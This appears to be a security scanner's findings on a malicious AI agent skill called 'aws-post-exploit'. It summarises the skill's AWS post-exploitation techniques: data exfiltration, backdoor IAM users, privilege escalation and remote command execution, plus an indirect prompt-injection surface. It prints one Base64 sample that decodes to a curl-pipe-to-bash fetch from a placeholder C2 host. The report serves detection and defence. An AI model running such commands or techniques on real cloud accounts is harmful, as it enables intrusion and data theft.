The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and execute shell scripts from external, attacker-controlled servers using piped commands such as curl ... | bash found in SKILL.md and references/persistence-backdoor.md.
[OBFUSCATION]: Several sections use Base64 encoding to hide malicious shell scripts. These scripts, when decoded, reveal commands to download and execute payloads from a remote command-and-control (C2) server (e.g., IyEvYmluL2Jhc2gKY3VybCBodHRwczovLzxjMj4vYmVhY29uLnNoIHwgYmFzaA==).
[DATA_EXFILTRATION]: Extensive methods are provided to steal sensitive data from AWS S3 buckets, RDS databases, DynamoDB tables, and EBS snapshots. Techniques include sharing resources with external attacker accounts, making storage buckets public, and using DNS TXT queries to exfiltrate data from isolated networks.
[PERSISTENCE]: The skill details numerous ways to maintain unauthorized access, including creating backdoor IAM users with Administrative privileges, modifying role trust policies to allow external access, hijacking MFA, and using Lambda layers, extensions, or EventBridge rules to execute code periodically.
[COMMAND_EXECUTION]: The skill utilizes AWS Systems Manager (SSM) and EC2 UserData to execute arbitrary shell commands on target instances, providing a mechanism for remote control and lateral movement.
[PRIVILEGE_ESCALATION]: Techniques are included to grant AdministrativeAccess to newly created or existing IAM users and use IAM policy versions to hide administrative permissions from standard audits.
[INDIRECT_PROMPT_INJECTION]: The skill processes untrusted output from AWS CLI commands (such as S3 bucket listings, IAM policies, and RDS logs) which are then interpolated into the agent's context without sanitization or clear boundary markers, creating a surface for indirect prompt injection.

aws-post-exploit